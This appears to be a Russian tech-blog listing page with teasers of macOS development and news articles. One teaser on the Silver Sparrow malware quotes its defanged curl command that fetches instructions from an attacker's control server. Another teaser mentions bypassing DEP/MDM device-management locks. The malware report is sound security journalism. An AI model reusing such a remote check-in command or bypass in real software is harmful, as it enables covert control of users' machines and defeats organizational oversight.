Начиная с macOS 10.15 Catalina разработчикам требуется заверять свои приложения и утилиты командной строки. Если с приложениями, распространяемыми через App Store все прозрачно, то распространение консольных утилит может вызвать сложности. В данной статье я покажу, как можно доставлять такие утилиты до конечных пользователей (будем проделывать все необходимые операции в терминале, а также автоматизируем эти действия двумя вариантами - через bash-скрипт и с помощью SPM executable).
Разработка под macOS *
Пишем под настольную ОС Apple
Безопасность для айтишников: как научить разработчиков устранять уязвимости и создавать безопасные приложения
Разработчики уделяют большое внимание дизайну программных продуктов для гаджетов, стараясь сделать их максимально удобными. Люди охотно устанавливают мобильные приложения и регистрируются в них. А что насчет безопасности данных, которые мы доверяем производителям этих приложений? И как научить(ся) создавать безопасные приложения?
На PHDays наши коллеги из «Яндекса» поделились своим опытом в обучении разработчиков и показали участникам систему, позволяющую тренироваться в поиске и исправлении уязвимостей. Каждое задание в этой системе состоит из кода, содержащего уязвимости. Задача разработчика — найти заложенную проблему и исправить ее.
Рассказ получился, как говорится, о наболевшем: из зала так и сыпались вопросы, и коллег не отпускали минут двадцать. Сегодня мы решили поделиться их докладом в нашем блоге. Итак, передаем слово ребятам.
Не хотите читать? У нас отличная новость: можно послушать подкаст-версию этой статьи. Выбирайте удобную вам платформу — и вперед!
Кстати, у нас есть целый подкаст, где мы говорим о практической безопасности, современных киберугрозах и защите от них, а также делимся самыми интересными выступлениями с форумов PHDays. Уже доступны 19 выпусков.
Сборка Docker-образов для MacBook M1 под Linux
Мы собираем зависимости для нашего тестового окружения в Docker-образ, что оказалось очень удобно. Но недавно у нас появился разработчик с MacBook M1, и резко встал вопрос о возможности поддержки двух платформ.
Введение в CoreMIDI
Возможности по работе с MIDI-устройствами в macOS очень богатые (по сравнению с Windows, например), однако, официальная документация не может похвастаться подробным изложением. Приходится подглядывать в другие проекты, а также много экспериментировать, что не всегда удобно, если компьютер не сильно мощный, а единственной возможностью отлаживать код под macOS является использование виртуальной машины. В этой статье я покажу базовые сценарии работы с CoreMIDI и постараюсь восполнить пробелы в документации.
Истории
Регистрируйтесь на закрытое тестирование Visual Studio 2022 for Mac
Сегодня мы приглашаем вас опробовать Visual Studio 2022 для Mac, ведь мы представляем нашу первую предварительную версию. Это первый выпуск нашей .NET IDE с полностью обновленным пользовательским интерфейсом macOS. Мы будем рады, если вы скачаете его, опробуете и поделитесь своими отзывами, чтобы помочь нам сформировать следующий крупный выпуск Visual Studio для Mac.
Предварительную версию Visual Studio 2022 для Mac можно установить вместе с более ранними версиями Visual Studio для Mac, и ее можно использовать бесплатно.
Наша цель в Visual Studio 2022 для Mac - создать современную среду разработки .NET IDE, адаптированную для Mac, которая обеспечит продуктивную работу, которая вам так полюбилась в Visual Studio.
Создаем установочные пакеты для macOS средствами системы
Как-то так вышло, что раньше я довольно скептически относился к macOS, поскольку не имел возможности поработать с ней в более-менее устоявшейся корпоративной среде (т.е. не когда на всю компанию в 500-600 человек есть 2 мака, и те у генерального с его замом, да еще и с виндой в буткемпе). Но несколько лет назад мне повезло познакомиться с очень масштабной гетерогенной средой, показавшей, что в современных компаниях macOS не только успешно сосуществует с привычной Windows, но иногда и превалирует над ней в общей доле клиентских машин.
macOS 12 Monterey — новая ОС от Apple
7го июня компания Apple провела свою ежегодную конференцию для разработчиков - WWDC (Worldwide Developers Conference), на которой, помимо всего, была представлена новая версия macOS - Monterey. Спустя некоторое время стала доступна бета-версия, про которую, сегодня, и пойдет речь.
Что ждать разработчику от WWDC 2021
Всем привет, с вами я, Анна Жаркова, ведущий разработчик компании Usetech.
Мы с нетерпением ждали новую сессию WWDC, особенно после прошлогодних изменений, и, наконец, дождались! Кого-то Keynote разочаровал, т.к люди ждали больше и большего в плане анонсов и возможностей. Но мы-то знаем, что у нас впереди целая неделя, и очень много интересных видео-сессий по новинкам в iOS и Swift, за которые можно простить Apple и недостатки Keynote.
Итак, давайте пройдемся по тому, что нас ожидает.
В принципе все сессии можно поделить на несколько групп:
Пошаговый урок: как начать делать что угодно для Touch Bar
Я не Swift разработчик, и даже не objc. У меня просто был и есть Mac с навороченной вставкой в виде Touch Bar для которой захотелось сделать кастомизацию.
Эта статья покажет всем не iOS разработчикам как можно НАЧАТЬ создавать простые приложухи (развлекательного или полезного характера) для Touch Bar с самых первых этапов.
Притупим к делу:
Люди подозревают, что технологии — отстой, потому что они на самом деле отстой
Джей Ситтер в своей статье "Люди подозревают, что технологии — отстой" пишет о людях, которые продолжают использовать технологии, несмотря на серьезные неприятности, такие как очень тусклый экран или постоянные всплывающие окна, и ничего не делают с этим. Он делает вывод:
Если бы мой экран был на 5% яркости или если бы я не мог использовать свой телефон, не нажимая «Отмена» каждые пять секунд, я бы тратил часы или дни на Google, пытаясь найти решение, если бы это было то, что мне нужно. То, что эти люди в основном просто мирились с проблемами, означает, что для них эти проблемы не могли быть заметно хуже, чем сама технология в своей основе.Эти примеры немного экстремальны, но важно помнить, что они реальны. Это не преувеличение. Это происходило.
В обсуждениях в Твиттере люди продолжают отвечать, что этим пользователям следует:
- сделать что-нибудь с этим,
- искать замену,
- или просто не делать ничего.
И я бы согласился: если бы это был единичный случай, конечно, надо было бы что-то с этим сделать! Дело в том, что это происходит постоянно, каждый день, несколько раз в день, и один человек может посвятить этому лишь определенное количество времени. Поток мелких неприятностей настолько велик, что люди просто устали иметь с ними дело! И нет, лучшей альтернативы нет.
Чтобы доказать свою точку зрения, я решил записывать каждое прерванное действие в течение одного дня. Вот полный список, который я написал вчера, 24 сентября 2020 года:
Ядро macOS, есть ли червячки в этом яблоке?
В самом начале этого года Apple выложили в открытый доступ исходный код системных компонентов macOS 11.0 – Big Sur, включая XNU – ядро операционной системы macOS. Пару лет назад исходный код ядра уже проверялся PVS-Studio в связи с выходом анализатора для macOS. Прошло достаточно много времени, и вышел новый релиз исходного кода ядра. Почему бы и не провести повторную проверку.
Трепещущий Kivy. Обзор возможностей фреймворка Kivy и библиотеки KivyMD
Kivy и Flutter — два фреймворка с открытым исходным кодом для кроссплатформенной разработки.
Flutter:
- создан компанией Google и выпущенный в 2017 году;
- в качестве языка программирования использует Dart;
- не использует нативные компоненты, рисуя весь интерфейс внутри собственного графического движка;
Kivy:
- создан сообществом Kivy в 2010 году;
- в качестве языка программирования использует Python и собственный декларативный язык для разметки UI элементов — KV Language;
- не использует нативные компоненты, рисуя весь интерфейс с помощью OpenGL ES 2.0 и SDL2;
Недавно на просторах Ютуба наткнулся на видео демонстрацию Flutter приложения — Facebook Desktop Redesign built with Flutter Desktop. Отличное демонстрационное приложение в стиле material design! И поскольку я один из разработчиков библиотеки KivyMD (набор material компонентов для фреймворка Kivy) мне стало интересно, насколько просто будет сделать такой же красивый интерфейс. К счастью автор оставил ссылку на репозиторий проекта.
На 30 тысячах компьютеров с macOS нашли странный зловред, который ждёт команду
Новая вредоносная программа Silver Sparrow («Серебряный воробей»), обнаруженная почти на 30 000 компьютерах Mac по всему миру, привлекла внимание специалистов по безопасности. Причин несколько. Во-первых, зловред поставляется в двух бинарниках, в том числе для процессора М1. Во-вторых, исследователи не могут понять цель злоумышленников.
Раз в час заражённые компьютеры проверяют контрольный сервер на предмет новых команд или двоичных файлов для выполнения:
curl hxxps://specialattributes.s3.amazonaws[.]com/applications/updater/ver.json > /tmp/version.json
plutil -convert xml1 -r /tmp/version.json -o /tmp/version.plist
Ближайшие события
От WPF к Авалонии
WPF — любимый сообществом фреймворк для десктопной разработки, однако в то время как дотнет и вся его экосистема уже давно кроссплатформенные, WPF работает только под Windows. Сообщество решило эту проблему и теперь у нас есть Авалония — фреймворк, во многом очень похожий на WPF, но работающий на разных платформах.
Под катом мы разберем отличия Авалонии от WPF. Что нужно знать людям, переходящим с WPF на Авалонию? В чем преимущества нового фреймворка, а в чем его недостатки по сравнению с WPF?
Как продавать приложения для Mac за пределами App Store
Mac всегда отличался от своего близкого родственника iOS, особенно в отношении того, что пользователю можно и нельзя запускать в своей системе. Даже после появления Apple Silicon компания Apple чётко дала понять, что Mac остаётся Mac, и его по-прежнему можно хакать, даже при запуске на новой архитектуре.
Для программистов это значит, что при разработке для платформы Mac у нас есть выбор: мы можем распространять приложения независимо, за пределами Mac App Store, только через Mac App Store или сочетать оба варианта.
Данная статья стала результатом моих размышлений на эту тему. Она задумывалась как руководство по аспектам, которые нужно знать при распространении приложений для Mac за пределами App Store, а не как подробное описание конкретных действий. Надеюсь, что представленная здесь информация поможет новичкам снять завесу тайны с этого процесса, а описание моего собственного процесса будет полезно в качестве опорной точки.
App Store и прямое распространение: плюсы и минусы
Все эти варианты имеют свои достоинства и недостатки. Начнём с того, что некоторые приложения для Mac просто невозможно будет распространять через Mac App Store. Примером этого может послужить моё приложение AirBuddy, которому для обеспечения глубокой интеграции с беспроводными устройствами Apple необходимо запускать системный агент и использовать приватные API, что в App Store запрещено. То же самое относится и ко многим другим видам приложений, которые просто не смогут работать в условиях ограничений «песочницы» Mac.
Для тех же, у кого выбор есть, я составил список плюсов и минусов выпуска в Mac App Store или независимого распространения.
Безопасный downgrade macOS Big Sur (без 1008F)
Недавно, я писал о том, как решить проблему с вечной ошибкой 1008F при попытке откатить macOS Big Sur до macOS Catalina через Internet Recovery. Как показал опрос, есть необходимость рассказать о том, как откатить macOS Big Sur без ошибки 1008F. Причин для отката может быть масса, и если вы обладатель одной из них то этот пост для вас. Главное помнить о том, что описанный ниже способ приведет к полному стиранию данных с вашего компьютера Mac. В моем случае для проведения downgrade использовался MacBook pro 2019 с чипом безопасности T2 и внешний USB - HDD.
1008F — или как раскирпичить свой Mac
Всем привет! В этом посте речь пойдет о бесконечном режиме восстановления macOS, ошибках 1008F, 2003F, 2004F и о том как их побороть.
Подобные ошибки можно встретить при попытке выполнить Internet Recovery своего Mac, а причин побуждающих к этому действию - множество. В моем случае, дело было так..
Отключение профиля DEP и MDM на Mac OS Big Sur
Решение с обходом DEP и MDM блокировки на Mac OS Catalina достаточно простое и без труда находится в интернете. С Big Sur все намного сложнее. В новой операционной системе реализован новый механизм защиты целостности системы. Поэтому весь алгоритм действий усложнился.
Новые возможности Microsoft 365 для Mac
Недавно мы анонсировали ряд улучшений для Mac, в частности новые версии приложений Microsoft 365 для компьютеров Mac на базе процессора M1. Благодаря этому повысится производительность офисных приложений Microsoft на последних моделях MacBook Air, MacBook Pro и Mac mini. Новые приложения Office являются универсальными, поэтому также будут работать на компьютерах Mac на базе процессоров Intel. Интерфейс новых версий приложений оптимизирован в соответствии со стилем операционной системы macOS Big Sur.
macOS и мистический minOS
После трёхлетнего перерыва актуальная версия sView стала снова доступна на macOS. Новый релиз обещал поддержку macOS 10.10+, но что-то пошло не так и несколько пользователей обратились со странной проблемой - системы macOS 10.13 и 10.14 отказались запускать приложение с сообщением о необходимости обновиться до macOS 10.15…
Сказать, что ошибка меня озадачила - сильно преуменьшить степень моего негодования, ведь магическая цифра 10.15 нигде не фигурировала ни в скриптах сборки, ни в ресурсах sView! Более того, приложение лично было проверено на более старой версии системы, а именно - на macOS 10.10.